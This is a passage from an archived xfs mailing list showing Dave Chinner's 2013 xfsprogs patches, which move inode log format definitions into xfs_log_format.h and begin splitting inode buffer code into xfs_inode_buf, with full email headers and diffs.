+392,13 @@ struct xfs_log_item_desc { #define XFS_ATTR_BTREE_REF 1 #define XFS_DQUOT_REF 1 +/* + * Flags for xfs_trans_ichgtime(). + */ +#define XFS_ICHGTIME_MOD 0x1 /* data fork modification timestamp */ +#define XFS_ICHGTIME_CHG 0x2 /* inode field change timestamp */ +#define XFS_ICHGTIME_CREATE 0x4 /* inode create timestamp */ + /* * Inode Log Item Format definitions. diff --git a/libxfs/xfs.h b/libxfs/xfs.h index 7149c09..1a01c61 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -68,6 +68,9 @@ typedef __uint32_t inst_t; /* an instruction */ #define IHOLD(ip) ((void) 0) +#define XFS_IGET_CREATE 0x1 +#define XFS_IGET_UNTRUSTED 0x2 + /* stop unused var warnings by assigning mp to itself */ #define XFS_CORRUPTION_ERROR(e,l,mp,m) do { \ (mp) = (mp); \ -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B413429E37 for ; Wed, 4 Sep 2013 17:21:47 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id A4CD6304039 for ; Wed, 4 Sep 2013 15:21:47 -0700 (PDT) X-ASG-Debug-ID: 1378333282-04cbb02c3ad4b6f000d-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id qxuF1PLCbXOIkjOk for ; Wed, 04 Sep 2013 15:21:45 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnkIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBRoNLzMIGBkYOQMbGYgBujaPeQyDfwOpW4MyKoE1 Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:40 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007dH-Qm for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003sU-Q5 for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 17/55] xfs: split out inode log item format definition Date: Thu, 5 Sep 2013 08:05:21 +1000 X-ASG-Orig-Subj: [PATCH 17/55] xfs: split out inode log item format definition Message-Id: <1378332359-14737-18-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333304 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Th elog item format definitions are shared with userspace. split the out of header files that contain kernel only defintions to make it simple to shared them. Signed-off-by: Dave Chinner --- include/Makefile | 4 +- include/libxfs.h | 5 +- include/libxlog.h | 1 - include/xfs_inode.h | 70 ------------------ include/xfs_inode_item.h | 170 ------------------------------------------ include/xfs_log_format.h | 189 +++++++++++++++++++++++++++++++++++++++++++++++ include/xfs_types.h | 6 ++ libxfs/trans.c | 2 +- 8 files changed, 202 insertions(+), 245 deletions(-) delete mode 100644 include/xfs_inode_item.h diff --git a/include/Makefile b/include/Makefile index efa3275..722aef3 100644 --- a/include/Makefile +++ b/include/Makefile @@ -26,7 +26,9 @@ QAHFILES = libxfs.h libxlog.h \ xfs_btree_trace.h xfs_buf_item.h xfs_cksum.h xfs_da_btree.h \ xfs_dinode.h xfs_dir2.h xfs_dir2_format.h \ xfs_extfree_item.h xfs_ialloc.h xfs_ialloc_btree.h \ - xfs_icreate_item.h xfs_inode.h xfs_inode_item.h xfs_inum.h \ + xfs_icreate_item.h \ + xfs_inode.h \ + xfs_inum.h \ xfs_log_format.h \ xfs_log_recover.h \ xfs_metadump.h \ diff --git a/include/libxfs.h b/include/libxfs.h index c9918cd..c96857b 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -36,6 +36,9 @@ #include #include #include + +#include + #include #include #include @@ -50,7 +53,6 @@ #include #include #include -#include #include #include #include @@ -59,7 +61,6 @@ #include #include -#include #ifndef ARRAY_SIZE #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) diff --git a/include/libxlog.h b/include/libxlog.h index 961c4b5..301e3dd 100644 --- a/include/libxlog.h +++ b/include/libxlog.h @@ -49,7 +49,6 @@ struct xlog { #include #include -#include #include #include diff --git a/include/xfs_inode.h b/include/xfs_inode.h index fdca7f7..1e92338 100644 --- a/include/xfs_inode.h +++ b/include/xfs_inode.h @@ -23,12 +23,6 @@ struct xfs_dinode; struct xfs_inode; /* - * Fork identifiers. - */ -#define XFS_DATA_FORK 0 -#define XFS_ATTR_FORK 1 - -/* * The following xfs_ext_irec_t struct introduces a second (top) level * to the in-core extent allocation scheme. These structs are allocated * in a contiguous block, creating an indirection array where each entry @@ -113,69 +107,6 @@ struct xfs_imap { * i_mnext and i_mprev fields, it is used as a marker in the inode * chain off the mount structure by xfs_sync calls. */ - -typedef struct xfs_ictimestamp { - __int32_t t_sec; /* timestamp seconds */ - __int32_t t_nsec; /* timestamp nanoseconds */ -} xfs_ictimestamp_t; - -/* - * NOTE: This structure must be kept identical to struct xfs_dinode - * in xfs_dinode.h except for the endianness annotations. - */ -typedef struct xfs_icdinode { - __uint16_t di_magic; /* inode magic # = XFS_DINODE_MAGIC */ - __uint16_t di_mode; /* mode and type of file */ - __int8_t di_version; /* inode version */ - __int8_t di_format; /* format of di_c data */ - __uint16_t di_onlink; /* old number of links to file */ - __uint32_t di_uid; /* owner's user id */ - __uint32_t di_gid; /* owner's group id */ - __uint32_t di_nlink; /* number of links to file */ - __uint16_t di_projid_lo; /* lower part of owner's project id */ - __uint16_t di_projid_hi; /* higher part of owner's project id */ - __uint8_t di_pad[6]; /* unused, zeroed space */ - __uint16_t di_flushiter; /* incremented on flush */ - xfs_ictimestamp_t di_atime; /* time last accessed */ - xfs_ictimestamp_t di_mtime; /* time last modified */ - xfs_ictimestamp_t di_ctime; /* time created/inode modified */ - xfs_fsize_t di_size; /* number of bytes in file */ - xfs_drfsbno_t di_nblocks; /* # of direct & btree blocks used */ - xfs_extlen_t di_extsize; /* basic/minimum extent size for file */ - xfs_extnum_t di_nextents; /* number of extents in data fork */ - xfs_aextnum_t di_anextents; /* number of extents in attribute fork*/ - __uint8_t di_forkoff; /* attr fork offs, <<3 for 64b align */ - __int8_t di_aformat; /* format of attr fork's data */ - __uint32_t di_dmevmask; /* DMIG event mask */ - __uint16_t di_dmstate; /* DMIG state info */ - __uint16_t di_flags; /* random flags, XFS_DIFLAG_... */ - __uint32_t di_gen; /* generation number */ - - /* di_next_unlinked is the only non-core field in the old dinode */ - __be32 di_next_unlinked;/* agi unlinked list ptr */ - - /* start of the extended dinode, writable fields */ - __uint32_t di_crc; /* CRC of the inode */ - __uint64_t di_changecount; /* number of attribute changes */ - xfs_lsn_t di_lsn; /* flush sequence */ - __uint64_t di_flags2; /* more random flags */ - __uint8_t di_pad2[16]; /* more padding for future expansion */ - - /* fields only written to during inode creation */ - xfs_ictimestamp_t di_crtime; /* time created */ - xfs_ino_t di_ino; /* inode number */ - uuid_t di_uuid; /* UUID of the filesystem */ - - /* structure must be padded to 64 bit alignment */ -} xfs_icdinode_t; - -static inline uint xfs_icdinode_size(int version) -{ - if (version == 3) - return sizeof(struct xfs_icdinode); - return offsetof(struct xfs_icdinode, di_next_unlinked); -} - /* * Flags for xfs_ichgtime(). */ @@ -625,7 +556,6 @@ void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); extern struct kmem_zone *xfs_ifork_zone; extern struct kmem_zone *xfs_inode_zone; -extern struct kmem_zone *xfs_ili_zone; extern const struct xfs_buf_ops xfs_inode_buf_ops; #endif /* __XFS_INODE_H__ */ diff --git a/include/xfs_inode_item.h b/include/xfs_inode_item.h deleted file mode 100644 index 779812f..0000000 --- a/include/xfs_inode_item.h +++ /dev/null @@ -1,170 +0,0 @@ -/* - * Copyright (c) 2000,2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_INODE_ITEM_H__ -#define __XFS_INODE_ITEM_H__ - -/* - * This is the structure used to lay out an inode log item in the - * log. The size of the inline data/extents/b-tree root to be logged - * (if any) is indicated in the ilf_dsize field. Changes to this structure - * must be added on to the end. - */ -typedef struct xfs_inode_log_format { - __uint16_t ilf_type; /* inode log item type */ - __uint16_t ilf_size; /* size of this item */ - __uint32_t ilf_fields; /* flags for fields logged */ - __uint16_t ilf_asize; /* size of attr d/ext/root */ - __uint16_t ilf_dsize; /* size of data/ext/root */ - __uint64_t ilf_ino; /* inode number */ - union { - __uint32_t ilfu_rdev; /* rdev value for dev inode*/ - uuid_t ilfu_uuid; /* mount point value */ - } ilf_u; - __int64_t ilf_blkno; /* blkno of inode buffer */ - __int32_t ilf_len; /* len of inode buffer */ - __int32_t ilf_boffset; /* off of inode in buffer */ -} xfs_inode_log_format_t; - -typedef struct xfs_inode_log_format_32 { - __uint16_t ilf_type; /* inode log item type */ - __uint16_t ilf_size; /* size of this item */ - __uint32_t ilf_fields; /* flags for fields logged */ - __uint16_t ilf_asize; /* size of attr d/ext/root */ - __uint16_t ilf_dsize; /* size of data/ext/root */ - __uint64_t ilf_ino; /* inode number */ - union { - __uint32_t ilfu_rdev; /* rdev value for dev inode*/ - uuid_t ilfu_uuid; /* mount point value */ - } ilf_u; - __int64_t ilf_blkno; /* blkno of inode buffer */ - __int32_t ilf_len; /* len of inode buffer */ - __int32_t ilf_boffset; /* off of inode in buffer */ -} __attribute__((packed)) xfs_inode_log_format_32_t; - -typedef struct xfs_inode_log_format_64 { - __uint16_t ilf_type; /* inode log item type */ - __uint16_t ilf_size; /* size of this item */ - __uint32_t ilf_fields; /* flags for fields logged */ - __uint16_t ilf_asize; /* size of attr d/ext/root */ - __uint16_t ilf_dsize; /* size of data/ext/root */ - __uint32_t ilf_pad; /* pad for 64 bit boundary */ - __uint64_t ilf_ino; /* inode number */ - union { - __uint32_t ilfu_rdev; /* rdev value for dev inode*/ - uuid_t ilfu_uuid; /* mount point value */ - } ilf_u; - __int64_t ilf_blkno; /* blkno of inode buffer */ - __int32_t ilf_len; /* len of inode buffer */ - __int32_t ilf_boffset; /* off of inode in buffer */ -} xfs_inode_log_format_64_t; - -/* - * Flags for xfs_trans_log_inode flags field. - */ -#define XFS_ILOG_CORE 0x001 /* log standard inode fields */ -#define XFS_ILOG_DDATA 0x002 /* log i_df.if_data */ -#define XFS_ILOG_DEXT 0x004 /* log i_df.if_extents */ -#define XFS_ILOG_DBROOT 0x008 /* log i_df.i_broot */ -#define XFS_ILOG_DEV 0x010 /* log the dev field */ -#define XFS_ILOG_UUID 0x020 /* log the uuid field */ -#define XFS_ILOG_ADATA 0x040 /* log i_af.if_data */ -#define XFS_ILOG_AEXT 0x080 /* log i_af.if_extents */ -#define XFS_ILOG_ABROOT 0x100 /* log i_af.i_broot */ - - -/* - * The timestamps are dirty, but not necessarily anything else in the inode - * core. Unlike the other fields above this one must never make it to disk - * in the ilf_fields of the inode_log_format, but is purely store in-memory in - * ili_fields in the inode_log_item. - */ -#define XFS_ILOG_TIMESTAMP 0x4000 - -#define XFS_ILOG_NONCORE (XFS_ILOG_DDATA | XFS_ILOG_DEXT | \ - XFS_ILOG_DBROOT | XFS_ILOG_DEV | \ - XFS_ILOG_UUID | XFS_ILOG_ADATA | \ - XFS_ILOG_AEXT | XFS_ILOG_ABROOT) - -#define XFS_ILOG_DFORK (XFS_ILOG_DDATA | XFS_ILOG_DEXT | \ - XFS_ILOG_DBROOT) - -#define XFS_ILOG_AFORK (XFS_ILOG_ADATA | XFS_ILOG_AEXT | \ - XFS_ILOG_ABROOT) - -#define XFS_ILOG_ALL (XFS_ILOG_CORE | XFS_ILOG_DDATA | \ - XFS_ILOG_DEXT | XFS_ILOG_DBROOT | \ - XFS_ILOG_DEV | XFS_ILOG_UUID | \ - XFS_ILOG_ADATA | XFS_ILOG_AEXT | \ - XFS_ILOG_ABROOT | XFS_ILOG_TIMESTAMP) - -static inline int xfs_ilog_fbroot(int w) -{ - return (w == XFS_DATA_FORK ? XFS_ILOG_DBROOT : XFS_ILOG_ABROOT); -} - -static inline int xfs_ilog_fext(int w) -{ - return (w == XFS_DATA_FORK ? XFS_ILOG_DEXT : XFS_ILOG_AEXT); -} - -static inline int xfs_ilog_fdata(int w) -{ - return (w == XFS_DATA_FORK ? XFS_ILOG_DDATA : XFS_ILOG_ADATA); -} - -#ifdef __KERNEL__ - -struct xfs_buf; -struct xfs_bmbt_rec; -struct xfs_inode; -struct xfs_mount; - - -typedef struct xfs_inode_log_item { - xfs_log_item_t ili_item; /* common portion */ - struct xfs_inode *ili_inode; /* inode ptr */ - xfs_lsn_t ili_flush_lsn; /* lsn at last flush */ - xfs_lsn_t ili_last_lsn; /* lsn at last transaction */ - unsigned short ili_lock_flags; /* lock flags */ - unsigned short ili_logged; /* flushed logged data */ - unsigned int ili_last_fields; /* fields when flushed */ - unsigned int ili_fields; /* fields to be logged */ - struct xfs_bmbt_rec *ili_extents_buf; /* array of logged - data exts */ - struct xfs_bmbt_rec *ili_aextents_buf; /* array of logged - attr exts */ - xfs_inode_log_format_t ili_format; /* logged structure */ -} xfs_inode_log_item_t; - - -static inline int xfs_inode_clean(xfs_inode_t *ip) -{ - return !ip->i_itemp || !(ip->i_itemp->ili_fields & XFS_ILOG_ALL); -} - -extern void xfs_inode_item_init(struct xfs_inode *, struct xfs_mount *); -extern void xfs_inode_item_destroy(struct xfs_inode *); -extern void xfs_iflush_done(struct xfs_buf *, struct xfs_log_item *); -extern void xfs_istale_done(struct xfs_buf *, struct xfs_log_item *); -extern void xfs_iflush_abort(struct xfs_inode *, bool); -extern int xfs_inode_item_format_convert(xfs_log_iovec_t *, - xfs_inode_log_format_t *); - -#endif /* __KERNEL__ */ - -#endif /* __XFS_INODE_ITEM_H__ */ diff --git a/include/xfs_log_format.h b/include/xfs_log_format.h index 9f9aeb6..fd46a7f 100644 --- a/include/xfs_log_format.h +++ b/include/xfs_log_format.h @@ -18,6 +18,16 @@ #ifndef __XFS_LOG_FORMAT_H__ #define __XFS_LOG_FORMAT_H__ +/* + * On-disk Log Format definitions. + * + * This file contains all the on-disk format definitions used within the log. It + * includes the physical log structure itself, as well as all the log item + * format structures that are written into the log and intepreted by log + * recovery. We start with the physical log format definitions, and then work + * through all the log items definitions and everything they encode into the + * log. + */ typedef __uint32_t xlog_tid_t; #define XLOG_MIN_ICLOGS 2 @@ -175,4 +185,183 @@ typedef struct xfs_log_iovec { uint i_type; /* type of region */ } xfs_log_iovec_t; + +/* + * Inode Log Item Format definitions. + * + * This is the structure used to lay out an inode log item in the + * log. The size of the inline data/extents/b-tree root to be logged + * (if any) is indicated in the ilf_dsize field. Changes to this structure + * must be added on to the end. + */ +typedef struct xfs_inode_log_format { + __uint16_t ilf_type; /* inode log item type */ + __uint16_t ilf_size; /* size of this item */ + __uint32_t ilf_fields; /* flags for fields logged */ + __uint16_t ilf_asize; /* size of attr d/ext/root */ + __uint16_t ilf_dsize; /* size of data/ext/root */ + __uint64_t ilf_ino; /* inode number */ + union { + __uint32_t ilfu_rdev; /* rdev value for dev inode*/ + uuid_t ilfu_uuid; /* mount point value */ + } ilf_u; + __int64_t ilf_blkno; /* blkno of inode buffer */ + __int32_t ilf_len; /* len of inode buffer */ + __int32_t ilf_boffset; /* off of inode in buffer */ +} xfs_inode_log_format_t; + +typedef struct xfs_inode_log_format_32 { + __uint16_t ilf_type; /* inode log item type */ + __uint16_t ilf_size; /* size of this item */ + __uint32_t ilf_fields; /* flags for fields logged */ + __uint16_t ilf_asize; /* size of attr d/ext/root */ + __uint16_t ilf_dsize; /* size of data/ext/root */ + __uint64_t ilf_ino; /* inode number */ + union { + __uint32_t ilfu_rdev; /* rdev value for dev inode*/ + uuid_t ilfu_uuid; /* mount point value */ + } ilf_u; + __int64_t ilf_blkno; /* blkno of inode buffer */ + __int32_t ilf_len; /* len of inode buffer */ + __int32_t ilf_boffset; /* off of inode in buffer */ +} __attribute__((packed)) xfs_inode_log_format_32_t; + +typedef struct xfs_inode_log_format_64 { + __uint16_t ilf_type; /* inode log item type */ + __uint16_t ilf_size; /* size of this item */ + __uint32_t ilf_fields; /* flags for fields logged */ + __uint16_t ilf_asize; /* size of attr d/ext/root */ + __uint16_t ilf_dsize; /* size of data/ext/root */ + __uint32_t ilf_pad; /* pad for 64 bit boundary */ + __uint64_t ilf_ino; /* inode number */ + union { + __uint32_t ilfu_rdev; /* rdev value for dev inode*/ + uuid_t ilfu_uuid; /* mount point value */ + } ilf_u; + __int64_t ilf_blkno; /* blkno of inode buffer */ + __int32_t ilf_len; /* len of inode buffer */ + __int32_t ilf_boffset; /* off of inode in buffer */ +} xfs_inode_log_format_64_t; + +/* + * Flags for xfs_trans_log_inode flags field. + */ +#define XFS_ILOG_CORE 0x001 /* log standard inode fields */ +#define XFS_ILOG_DDATA 0x002 /* log i_df.if_data */ +#define XFS_ILOG_DEXT 0x004 /* log i_df.if_extents */ +#define XFS_ILOG_DBROOT 0x008 /* log i_df.i_broot */ +#define XFS_ILOG_DEV 0x010 /* log the dev field */ +#define XFS_ILOG_UUID 0x020 /* log the uuid field */ +#define XFS_ILOG_ADATA 0x040 /* log i_af.if_data */ +#define XFS_ILOG_AEXT 0x080 /* log i_af.if_extents */ +#define XFS_ILOG_ABROOT 0x100 /* log i_af.i_broot */ + + +/* + * The timestamps are dirty, but not necessarily anything else in the inode + * core. Unlike the other fields above this one must never make it to disk + * in the ilf_fields of the inode_log_format, but is purely store in-memory in + * ili_fields in the inode_log_item. + */ +#define XFS_ILOG_TIMESTAMP 0x4000 + +#define XFS_ILOG_NONCORE (XFS_ILOG_DDATA | XFS_ILOG_DEXT | \ + XFS_ILOG_DBROOT | XFS_ILOG_DEV | \ + XFS_ILOG_UUID | XFS_ILOG_ADATA | \ + XFS_ILOG_AEXT | XFS_ILOG_ABROOT) + +#define XFS_ILOG_DFORK (XFS_ILOG_DDATA | XFS_ILOG_DEXT | \ + XFS_ILOG_DBROOT) + +#define XFS_ILOG_AFORK (XFS_ILOG_ADATA | XFS_ILOG_AEXT | \ + XFS_ILOG_ABROOT) + +#define XFS_ILOG_ALL (XFS_ILOG_CORE | XFS_ILOG_DDATA | \ + XFS_ILOG_DEXT | XFS_ILOG_DBROOT | \ + XFS_ILOG_DEV | XFS_ILOG_UUID | \ + XFS_ILOG_ADATA | XFS_ILOG_AEXT | \ + XFS_ILOG_ABROOT | XFS_ILOG_TIMESTAMP) + +static inline int xfs_ilog_fbroot(int w) +{ + return (w == XFS_DATA_FORK ? XFS_ILOG_DBROOT : XFS_ILOG_ABROOT); +} + +static inline int xfs_ilog_fext(int w) +{ + return (w == XFS_DATA_FORK ? XFS_ILOG_DEXT : XFS_ILOG_AEXT); +} + +static inline int xfs_ilog_fdata(int w) +{ + return (w == XFS_DATA_FORK ? XFS_ILOG_DDATA : XFS_ILOG_ADATA); +} + +/* + * Incore version of the on-disk inode core structures. We log this directly + * into the journal in host CPU format (for better or worse) and as such + * directly mirrors the xfs_dinode structure as it must contain all the same + * information. + */ +typedef struct xfs_ictimestamp { + __int32_t t_sec; /* timestamp seconds */ + __int32_t t_nsec; /* timestamp nanoseconds */ +} xfs_ictimestamp_t; + +/* + * NOTE: This structure must be kept identical to struct xfs_dinode + * in xfs_dinode.h except for the endianness annotations. + */ +typedef struct xfs_icdinode { + __uint16_t di_magic; /* inode magic # = XFS_DINODE_MAGIC */ + __uint16_t di_mode; /* mode and type of file */ + __int8_t di_version; /* inode version */ + __int8_t di_format; /* format of di_c data */ + __uint16_t di_onlink; /* old number of links to file */ + __uint32_t di_uid; /* owner's user id */ + __uint32_t di_gid; /* owner's group id */ + __uint32_t di_nlink; /* number of links to file */ + __uint16_t di_projid_lo; /* lower part of owner's project id */ + __uint16_t di_projid_hi; /* higher part of owner's project id */ + __uint8_t di_pad[6]; /* unused, zeroed space */ + __uint16_t di_flushiter; /* incremented on flush */ + xfs_ictimestamp_t di_atime; /* time last accessed */ + xfs_ictimestamp_t di_mtime; /* time last modified */ + xfs_ictimestamp_t di_ctime; /* time created/inode modified */ + xfs_fsize_t di_size; /* number of bytes in file */ + xfs_drfsbno_t di_nblocks; /* # of direct & btree blocks used */ + xfs_extlen_t di_extsize; /* basic/minimum extent size for file */ + xfs_extnum_t di_nextents; /* number of extents in data fork */ + xfs_aextnum_t di_anextents; /* number of extents in attribute fork*/ + __uint8_t di_forkoff; /* attr fork offs, <<3 for 64b align */ + __int8_t di_aformat; /* format of attr fork's data */ + __uint32_t di_dmevmask; /* DMIG event mask */ + __uint16_t di_dmstate; /* DMIG state info */ + __uint16_t di_flags; /* random flags, XFS_DIFLAG_... */ + __uint32_t di_gen; /* generation number */ + + /* di_next_unlinked is the only non-core field in the old dinode */ + xfs_agino_t di_next_unlinked;/* agi unlinked list ptr */ + + /* start of the extended dinode, writable fields */ + __uint32_t di_crc; /* CRC of the inode */ + __uint64_t di_changecount; /* number of attribute changes */ + xfs_lsn_t di_lsn; /* flush sequence */ + __uint64_t di_flags2; /* more random flags */ + __uint8_t di_pad2[16]; /* more padding for future expansion */ + + /* fields only written to during inode creation */ + xfs_ictimestamp_t di_crtime; /* time created */ + xfs_ino_t di_ino; /* inode number */ + uuid_t di_uuid; /* UUID of the filesystem */ + + /* structure must be padded to 64 bit alignment */ +} xfs_icdinode_t; + +static inline uint xfs_icdinode_size(int version) +{ + if (version == 3) + return sizeof(struct xfs_icdinode); + return offsetof(struct xfs_icdinode, di_next_unlinked); +} #endif /* __XFS_LOG_FORMAT_H__ */ diff --git a/include/xfs_types.h b/include/xfs_types.h index dd6bf71..543fdf0 100644 --- a/include/xfs_types.h +++ b/include/xfs_types.h @@ -147,6 +147,12 @@ typedef __uint64_t xfs_filblks_t; /* number of blocks in a file */ #define XFS_MAX_SECTORSIZE (1 << XFS_MAX_SECTORSIZE_LOG) /* + * Inode fork identifiers. + */ +#define XFS_DATA_FORK 0 +#define XFS_ATTR_FORK 1 + +/* * Min numbers of data/attr fork btree root pointers. */ #define MINDBTPTRS 3 diff --git a/libxfs/trans.c b/libxfs/trans.c index 97220e7..645952c 100644 --- a/libxfs/trans.c +++ b/libxfs/trans.c @@ -226,7 +226,7 @@ libxfs_trans_inode_alloc_buf( * to be logged when the transaction is committed. The inode must * already be associated with the given transaction. * - * The values for fieldmask are defined in xfs_inode_item.h. We always + * The values for fieldmask are defined in xfs_log_format.h. We always * log all of the core inode if any of it has changed, and we always log * all of the inline data/extents/b-tree root if any of them has changed. */ -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2989A29E86 for ; Wed, 4 Sep 2013 17:21:47 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 91F5BAC002 for ; Wed, 4 Sep 2013 15:21:46 -0700 (PDT) X-ASG-Debug-ID: 1378333282-04cbb02c3ad4b6f000c-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id OFhT8GFJC0w0jf5a for ; Wed, 04 Sep 2013 15:21:42 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnwIAKexJ1J5LJ62/2dsb2JhbABTCIMHrlFBkziBKBd0giQBAQUaAQwvMwgYMTkDGxmIAbo2jiMGgSyELwOUG44JhzeDMiqBLQEeBg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:37 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007do-2q for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003tS-1u for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 29/55] xfs: introduce xfs_inode_buf.c for inode buffer operations Date: Thu, 5 Sep 2013 08:05:33 +1000 X-ASG-Orig-Subj: [PATCH 29/55] xfs: introduce xfs_inode_buf.c for inode buffer operations Message-Id: <1378332359-14737-30-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333301 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The only thing remaining in xfs_inode.[ch] are the operations that read, write or verify physical inodes in their underlying buffers. Move all this code to xfs_inode_buf.[ch] and so we can stop sharing xfs_inode.[ch] with userspace. Signed-off-by: Dave Chinner --- include/Makefile | 2 +- include/libxfs.h | 2 +- include/xfs_inode.h | 393 --------------------------------------------- include/xfs_inode_buf.h | 53 ++++++ libxfs/Makefile | 2 +- libxfs/init.c | 3 +- libxfs/xfs_inode.c | 419 ------------------------------------------------ libxfs/xfs_inode_buf.c | 408 ++++++++++++++++++++++++++++++++++++++++++++++ 8 files changed, 466 insertions(+), 816 deletions(-) delete mode 100644 include/xfs_inode.h create mode 100644 include/xfs_inode_buf.h delete mode 100644 libxfs/xfs_inode.c create mode 100644 libxfs/xfs_inode_buf.c diff --git a/include/Makefile b/include/Makefile index a8a4311..c86d2ce 100644 --- a/include/Makefile +++ b/include/Makefile @@ -30,7 +30,7 @@ QAHFILES = libxfs.h libxlog.h \ xfs_format.h \ xfs_ialloc.h \ xfs_ialloc_btree.h \ - xfs_inode.h \ + xfs_inode_buf.h \ xfs_inode_fork.h \ xfs_inum.h \ xfs_log_format.h \ diff --git a/include/libxfs.h b/include/libxfs.h index 05aac34..8ab832d 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -55,7 +55,7 @@ #include #include #include -#include +#include #include #include #include diff --git a/include/xfs_inode.h b/include/xfs_inode.h deleted file mode 100644 index 99c034e..0000000 --- a/include/xfs_inode.h +++ /dev/null @@ -1,393 +0,0 @@ -/* - * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_INODE_H__ -#define __XFS_INODE_H__ - -struct posix_acl; -struct xfs_dinode; -struct xfs_inode; - -#include "xfs_inode_fork.h" - -/* - * Inode location information. 